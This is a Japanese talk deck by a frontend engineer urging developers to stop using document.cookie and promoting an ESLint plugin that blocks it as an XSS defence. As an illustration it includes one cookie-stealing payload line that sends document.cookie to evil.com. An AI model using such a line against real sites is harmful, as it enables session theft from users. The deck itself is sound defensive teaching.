document.cookieが憎い
自己紹介
又の名をきりんと申します
メルカリでエンジニアやってます
好きな言葉: Promise.resolve()
嫌いな言葉: $.Deferred.done()
https://pbs.twimg.com/profile_images/723092874397519873/Fx4DBrkR_400x400.jpg
document.cookieが憎い
憎いです
名作でも言及があるくらいdocument.cookieは邪悪な存在
メロスは激怒した。必ず、かのdocument.cookieを除かなければならぬと決意した。メロスにはJavaScriptがわからぬ。メロスは、フロントエンドエンジニアである。z-index: -1し、console.logして暮して来た。けれども脆弱性に対しては、人一倍に敏感であった。
なぜ憎いか
Cookieに秘密情報だのそのページに必要なものだのを突っ込むな そんなの人の趣味じゃないか
「そんなの宗教信仰の話じゃないか」
「実装時間無いし便利だからいいじゃないか」
まぁわかる
本当は怖いXSS
攻撃がブラウザ上で完結する怖さ
任意コード実行される怖さ
どうすべきか
🙅「XSSを出さないようにする」
🙆「XSSを出さないようにしつつ、万が一XSSがあっても被害を最低限に抑える」
例えば
document.cookieへのアクセスを禁止する
Set-Cookie: HttpOnly;ヘッダの付与
インラインscriptの実行を禁止する
でもでもでもでも?
そんなの関係ねぇ(^q^)
code:js
// コードはイメージです
var cookies = document.cookie.split(';');
var token = cookies0.split('=')1; fetch('/secret-resource', {
accessToken: token,
})
.then(result => { // });
はい、おっぱっぴー(^q^)
もしXSSがあったら
任意コード実行でCookie奪取成功
code:js
location.href = http://evil.com/?token=${document.cookie};
憎い
document.cookieを根絶することを固く決意
根絶方法
🙅 気合
🙅 根性
🙅 啓蒙
🙆 自動化
自動化する🤖
コード中にdocument.cookieを見つけたらCIを落とす
ESLint.iconを使う
明日からできるdocument.cookie殺し
npm i -D eslint
npm i -D eslint-plugin-no-document-cookie
echo '{"plugins": ["no-document-cookie"], "rules": {"no-document-cookie/no-document-cokkie": 2}}' > .eslintrc
That's it 💪
ESLintの自前ルールを書く
書き方は超簡単
documentという変数のcookieプロパティにアクセスしたら怒る
これだけ
code:js
/**
* @param {ASTNode} node - A variable declaration node to check.
*/
const findDocumentCookie = (node) => {
if (node.object.name === 'document' && node.property.name === 'cookie') {
context.report(node, 'Unexpected use of "document.cookie".');
}
};
スターの時間です
[検索] eslint-plugin-no-document-cookie
[検索] no document cookie
課題
既にdocument.cookieに依存したコードに対しては無力
disable lineで一旦逃げるしかない
/* eslint-disable no-document-cookie/no-document-cookie */
warningにするのはあり
以上
document.cookieはやめてくれ
この先100年XSSの無いコードを書けると断言できるならどうぞ document.cookieを殺したい人がいたらnpm i -D eslint-plugin-no-document-cookie
殺したい変数があるならESLint.icon超便利
解散!
追記
幾人からセキュリティ周りの部分にツッコミを頂いたので追記
Set-Cookie: Secure;してもXSSがあると悪さはできるのでは
コレに関してはその通りです
UIの改竄とか
Sessionを奪取した上でのAjax通信をさせてその結果を盗むとか
セキュリティ的な観点でこれをしなければいけない理由はそこまで多くはないかもしれません
Cookieをストレージ代わりに使ってはいけない理由
これは指摘をもらってなるほど感があったのでFYIがてら追記
Cookieをストレージ代わりにするとこちらから消したいタイミングで消せないのがつらい
アクセスしてもらわないと消せない
もしくはexpireで制御する
これもアクセスしてもらわないと延長できない
一度Cookieに値突っ込むと何かに移行する時にそのあたりがつらそう